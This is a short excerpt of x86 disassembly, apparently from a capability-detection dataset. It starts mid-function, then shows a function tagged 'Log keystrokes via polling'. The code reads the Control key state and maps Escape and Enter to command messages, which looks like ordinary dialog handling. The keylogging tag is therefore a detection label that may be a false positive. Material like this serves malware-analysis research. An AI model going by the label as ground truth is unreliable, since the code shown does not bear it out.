mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10070c21
leave
ret

Function at 0x100139f8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov ecx, dword [ebp - 4]
add ecx, 4
call fcn.10020779
test eax, eax
je 0x10013a5d
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
test eax, eax
jl 0x10013a53
cmp dword [ebp + 8], 0x1b
jne 0x10013a39
push 0
push 2
push 0x111
mov ecx, dword [ebp - 4]
add ecx, 4
call fcn.10020851
jmp 0x10013a53
cmp dword [ebp + 8], 0xd
jne 0x10013a53
push 0
push 1
push 0x111
mov ecx, dword [ebp - 4]
add ecx, 4
call fcn.10020851
push 0
mov ecx, dword [ebp - 4]
call fcn.10013b07
leave
ret 0xc